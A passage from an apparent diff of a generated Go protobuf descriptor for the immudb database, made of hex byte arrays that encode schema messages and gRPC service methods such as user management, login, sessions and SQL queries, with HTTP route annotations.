0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, + 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, + 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, + 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, + 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, + 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, + 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, + 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, + 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, + 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, + 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, + 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, + 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, + 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, + 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, + 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, + 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, + 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, + 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, + 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, + 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, + 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, + 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, + 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, + 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, + 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, + 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, + 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, + 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, + 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, + 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, + 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, + 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, + 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, - 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, - 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, + 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, + 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, + 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, + 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, + 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, + 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, - 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, - 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, - 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, - 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, + 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, + 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, + 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, - 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, - 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 